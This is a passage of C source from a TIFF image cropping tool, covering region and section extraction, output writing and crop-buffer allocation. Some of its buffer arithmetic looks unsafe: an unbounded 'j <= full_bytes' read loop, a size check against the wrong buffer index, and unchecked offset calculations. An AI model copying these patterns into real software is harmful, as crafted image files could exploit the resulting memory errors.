last_col = crop->regionlist[i].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; /* These should not be needed for composite images */ crop->regionlist[i].width = crop_width; crop->regionlist[i].length = crop_length; crop->regionlist[i].buffptr = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * count) + 7) / 8); switch (crop->edge_ref) { default: case EDGE_TOP: case EDGE_BOTTOM: if ((i > 0) && (crop_width != crop->regionlist[i - 1].width)) { TIFFError ("extractCompositeRegions", "Only equal width regions can be combined for -E top or bottom"); return (1); } crop->combined_width = crop_width; crop->combined_length += crop_length; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + (prev_length * dst_rowsize); switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_length += crop_length; break; case EDGE_LEFT: /* splice the pieces of each row together, side by side */ case EDGE_RIGHT: if ((i > 0) && (crop_length != crop->regionlist[i - 1].length)) { TIFFError ("extractCompositeRegions", "Only equal length regions can be combined for -E left or right"); return (1); } crop->combined_width += crop_width; crop->combined_length = crop_length; dst_rowsize = (((composite_width * bps * count) + 7) / 8); trailing_bits = (crop_width * bps * count) % 8; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + prev_width; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_width += (crop_width * bps * count) / 8; prev_trailing_bits += trailing_bits; if (prev_trailing_bits > 7) prev_trailing_bits-= 8; break; } } if (crop->combined_width != composite_width) TIFFError("combineSeparateRegions","Combined width does not match composite width"); return (0); } /* end extractCompositeRegions */ /* Copy a single region of input buffer to an output buffer. * The read functions used copy separate plane data into a buffer * as interleaved samples rather than separate planes so the same * logic works to extract regions regardless of the way the data * are organized in the input file. This function can be used to * extract one or more samples from the input image by updating the * parameters for starting sample and number of samples to copy in the * fifth and eighth arguments of the call to extractContigSamples. * They would be passed as new elements of the crop_mask struct. */ static int extractSeparateRegion(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff, int region) { int shift_width, prev_trailing_bits = 0; uint32 bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, dst_rowsize; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract more or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; /* Byte aligned data only */ else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[region].y1; last_row = crop->regionlist[region].y2; first_col = crop->regionlist[region].x1; last_col = crop->regionlist[region].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; crop->regionlist[region].width = crop_width; crop->regionlist[region].length = crop_length; crop->regionlist[region].buffptr = crop_buff; src = read_buff; dst = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * spp) + 7) / 8); for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractSeparateRegion", "Unsupported bit depth %d", bps); return (1); } } return (0); } /* end extractSeparateRegion */ static int extractImageSection(struct image_data *image, struct pageseg *section, unsigned char *src_buff, unsigned char *sect_buff) { unsigned char bytebuff1, bytebuff2; #ifdef DEVELMODE /* unsigned char *src, *dst; */ #endif uint32 img_width, img_rowsize; #ifdef DEVELMODE uint32 img_length; #endif uint32 j, shift1, shift2, trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset, row_offset, col_offset; uint32 offset1, offset2, full_bytes; uint32 sect_width; #ifdef DEVELMODE uint32 sect_length; #endif uint16 bps, spp; #ifdef DEVELMODE int k; unsigned char bitset; static char *bitarray = NULL; #endif img_width = image->width; #ifdef DEVELMODE img_length = image->length; #endif bps = image->bps; spp = image->spp; #ifdef DEVELMODE /* src = src_buff; */ /* dst = sect_buff; */ #endif src_offset = 0; dst_offset = 0; #ifdef DEVELMODE if (bitarray == NULL) { if ((bitarray = (char *)malloc(img_width)) == NULL) { TIFFError ("", "DEBUG: Unable to allocate debugging bitarray"); return (-1); } } #endif /* rows, columns, width, length are expressed in pixels */ first_row = section->y1; last_row = section->y2; first_col = section->x1; last_col = section->x2; sect_width = last_col - first_col + 1; #ifdef DEVELMODE sect_length = last_row - first_row + 1; #endif img_rowsize = ((img_width * bps + 7) / 8) * spp; full_bytes = (sect_width * spp * bps) / 8; /* number of COMPLETE bytes per row in section */ trailing_bits = (sect_width * bps) % 8; #ifdef DEVELMODE TIFFError ("", "First row: %d, last row: %d, First col: %d, last col: %d\n", first_row, last_row, first_col, last_col); TIFFError ("", "Image width: %d, Image length: %d, bps: %d, spp: %d\n", img_width, img_length, bps, spp); TIFFError ("", "Sect width: %d, Sect length: %d, full bytes: %d trailing bits %d\n", sect_width, sect_length, full_bytes, trailing_bits); #endif if ((bps % 8) == 0) { col_offset = first_col * spp * bps / 8; for (row = first_row; row <= last_row; row++) { /* row_offset = row * img_width * spp * bps / 8; */ row_offset = row * img_rowsize; src_offset = row_offset + col_offset; #ifdef DEVELMODE TIFFError ("", "Src offset: %8d, Dst offset: %8d", src_offset, dst_offset); #endif _TIFFmemcpy (sect_buff + dst_offset, src_buff + src_offset, full_bytes); dst_offset += full_bytes; } } else { /* bps != 8 */ shift1 = spp * ((first_col * bps) % 8); shift2 = spp * ((last_col * bps) % 8); for (row = first_row; row <= last_row; row++) { /* pull out the first byte */ row_offset = row * img_rowsize; offset1 = row_offset + (first_col * bps / 8); offset2 = row_offset + (last_col * bps / 8); #ifdef DEVELMODE for (j = 0, k = 7; j < 8; j++, k--) { bitset = *(src_buff + offset1) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } sprintf(&bitarray[8], " "); sprintf(&bitarray[9], " "); for (j = 10, k = 7; j < 18; j++, k--) { bitset = *(src_buff + offset2) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[18] = '\0'; TIFFError ("", "Row: %3d Offset1: %d, Shift1: %d, Offset2: %d, Shift2: %d\n", row, offset1, shift1, offset2, shift2); #endif bytebuff1 = bytebuff2 = 0; if (shift1 == 0) /* the region is byte and sample alligned */ { _TIFFmemcpy (sect_buff + dst_offset, src_buff + offset1, full_bytes); #ifdef DEVELMODE TIFFError ("", " Alligned data src offset1: %8d, Dst offset: %8d\n", offset1, dst_offset); sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { bytebuff2 = src_buff[offset2] & ((unsigned char)255 << (7 - shift2)); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset2, dst_offset); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } else /* each destination byte will have to be built from two source bytes*/ { #ifdef DEVELMODE TIFFError ("", " Unalligned data src offset: %8d, Dst offset: %8d\n", offset1 , dst_offset); #endif for (j = 0; j <= full_bytes; j++) { bytebuff1 = src_buff[offset1 + j] & ((unsigned char)255 >> shift1); bytebuff2 = src_buff[offset1 + j + 1] & ((unsigned char)255 << (7 - shift1)); sect_buff[dst_offset + j] = (bytebuff1 << shift1) | (bytebuff2 >> (8 - shift1)); } #ifdef DEVELMODE sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset1 + full_bytes, dst_offset); #endif if (shift2 > shift1) { bytebuff1 = src_buff[offset1 + full_bytes] & ((unsigned char)255 << (7 - shift2)); bytebuff2 = bytebuff1 & ((unsigned char)255 << shift1); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 > Shift1\n"); #endif } else { if (shift2 < shift1) { bytebuff2 = ((unsigned char)255 << (shift1 - shift2 - 1)); sect_buff[dst_offset] &= bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 < Shift1\n"); #endif } #ifdef DEVELMODE else TIFFError ("", " Shift2 == Shift1\n"); #endif } } #ifdef DEVELMODE sprintf(&bitarray[28], " "); sprintf(&bitarray[29], " "); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } } return (0); } /* end extractImageSection */ static int writeSelections(TIFF *in, TIFF **out, struct crop_mask *crop, struct image_data *image, struct dump_opts *dump, struct buffinfo seg_buffs[], char *mp, char *filename, unsigned int *page, unsigned int total_pages) { int i, page_count; int autoindex = 0; unsigned char *crop_buff = NULL; /* Where we open a new file depends on the export mode */ switch (crop->exp_mode) { case ONE_FILE_COMPOSITE: /* Regions combined into single image */ autoindex = 0; crop_buff = seg_buffs[0].buffer; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = total_pages; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case ONE_FILE_SEPARATED: /* Regions as separated images */ autoindex = 0; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = crop->selections * total_pages; for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_IMAGE_COMPOSITE: /* Regions as composite image */ autoindex = 1; if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[0].buffer; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case FILE_PER_IMAGE_SEPARATED: /* Regions as separated images */ autoindex = 1; page_count = crop->selections; if (update_output_file (out, mp, autoindex, filename, page)) return (1); for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_SELECTION: autoindex = 1; page_count = 1; for (i = 0; i < crop->selections; i++) { if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; default: return (1); } return (0); } /* end writeRegions */ static int writeImageSections(TIFF *in, TIFF *out, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts * dump, unsigned char *src_buff, unsigned char **sect_buff_ptr) { double hres, vres; uint32 i, k, width, length, sectsize; unsigned char *sect_buff = *sect_buff_ptr; hres = page->hres; vres = page->vres; k = page->cols * page->rows; if ((k < 1) || (k > MAX_SECTIONS)) { TIFFError("writeImageSections", "%d Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections", k); return (-1); } for (i = 0; i < k; i++) { width = sections[i].x2 - sections[i].x1 + 1; length = sections[i].y2 - sections[i].y1 + 1; sectsize = (uint32) ceil((width * image->bps + 7) / (double)8) * image->spp * length; /* allocate a buffer if we don't have one already */ if (createImageSection(sectsize, sect_buff_ptr)) { TIFFError("writeImageSections", "Unable to allocate section buffer"); exit (-1); } sect_buff = *sect_buff_ptr; if (extractImageSection (image, &sections[i], src_buff, sect_buff)) { TIFFError("writeImageSections", "Unable to extract image sections"); exit (-1); } /* call the write routine here instead of outside the loop */ if (writeSingleSection(in, out, image, dump, width, length, hres, vres, sect_buff)) { TIFFError("writeImageSections", "Unable to write image section"); exit (-1); } } return (0); } /* end writeImageSections */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. */ static int writeSingleSection(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, double hres, double vres, unsigned char *sect_buff) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; /* Calling this seems to reset the compression mode on the TIFF *in file. TIFFGetField(in, TIFFTAG_JPEGCOLORMODE, &input_jpeg_colormode); */ input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeSingleSection", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif /* This is the global variable compression which is set * if the user has specified a command line option for * a compression option. Should be passed around in one * of the parameters instead of as a global. If no user * option specified it will still be (uint16) -1. */ if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { /* OJPEG is no longer supported for writing so upgrade to JPEG */ if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else /* Use the compression from the input file */ CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* holdout mask */ { TIFFError ("writeSingleSection", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } #ifdef DEBUG2 TIFFError("writeSingleSection", "Input photometric: %s", (input_photometric == PHOTOMETRIC_RGB) ? "RGB" : ((input_photometric == PHOTOMETRIC_YCBCR) ? "YCbCr" : "Not RGB or YCbCr")); #endif if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeSingleSection", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { /* These are references to GLOBAL variables set by defaults * and /or the compression flag */ case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeSingleSection", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { if (pageNum < 0) /* only one input file */ TIFFSetField(out, TIFFTAG_PAGENUMBER, pg0, pg1); else TIFFSetField(out, TIFFTAG_PAGENUMBER, pageNum++, 0); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Update these since they are overwritten from input res by loop above */ TIFFSetField(out, TIFFTAG_XRESOLUTION, (float)hres); TIFFSetField(out, TIFFTAG_YRESOLUTION, (float)vres); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) writeBufferToContigTiles (out, sect_buff, length, width, spp, dump); else writeBufferToSeparateTiles (out, sect_buff, length, width, spp, dump); } else { if (config == PLANARCONFIG_CONTIG) writeBufferToContigStrips (out, sect_buff, length); else writeBufferToSeparateStrips(out, sect_buff, length, width, spp, dump); } if (!TIFFWriteDirectory(out)) { TIFFClose(out); return (-1); } return (0); } /* end writeSingleSection */ /* Create a buffer to write one section at a time */ static int createImageSection(uint32 sectsize, unsigned char **sect_buff_ptr) { unsigned char *sect_buff = NULL; unsigned char *new_buff = NULL; static uint32 prev_sectsize = 0; sect_buff = *sect_buff_ptr; if (!sect_buff) { sect_buff = (unsigned char *)_TIFFmalloc(sectsize); *sect_buff_ptr = sect_buff; _TIFFmemset(sect_buff, 0, sectsize); } else { if (prev_sectsize < sectsize) { new_buff = _TIFFrealloc(sect_buff, sectsize); if (!new_buff) { free (sect_buff); sect_buff = (unsigned char *)_TIFFmalloc(sectsize); } else sect_buff = new_buff; _TIFFmemset(sect_buff, 0, sectsize); } } if (!sect_buff) { TIFFError("createImageSection", "Unable to allocate/reallocate section buffer"); return (-1); } prev_sectsize = sectsize; *sect_buff_ptr = sect_buff; return (0); } /* end createImageSection */ /* Process selections defined by regions, zones, margins, or fixed sized areas */ static int processCropSelections(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, struct buffinfo seg_buffs[]) { int i; uint32 width, length, total_width, total_length; tsize_t cropsize; unsigned char *crop_buff = NULL; unsigned char *read_buff = NULL; unsigned char *next_buff = NULL; tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; if (crop->img_mode == COMPOSITE_IMAGES) { cropsize = crop->bufftotal; crop_buff = seg_buffs[0].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = cropsize; /* Checks for matching width or length as required */ if (extractCompositeRegions(image, crop, read_buff, crop_buff) != 0) return (1); if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for composite regions"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } /* Mirror and Rotate will not work with multiple regions unless they are the same width */ if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror composite regions %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate composite regions by %d degrees", crop->rotation); return (-1); } seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = (((crop->combined_width * image->bps + 7 ) / 8) * image->spp) * crop->combined_length; } } else /* Separated Images */ { total_width = total_length = 0; for (i = 0; i < crop->selections; i++) { cropsize = crop->bufftotal; crop_buff = seg_buffs[i].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = cropsize; if (extractSeparateRegion(image, crop, read_buff, crop_buff, i)) { TIFFError("processCropSelections", "Unable to extract cropped region %d from image", i); return (-1); } width = crop->regionlist[i].width; length = crop->regionlist[i].length; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for region"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; 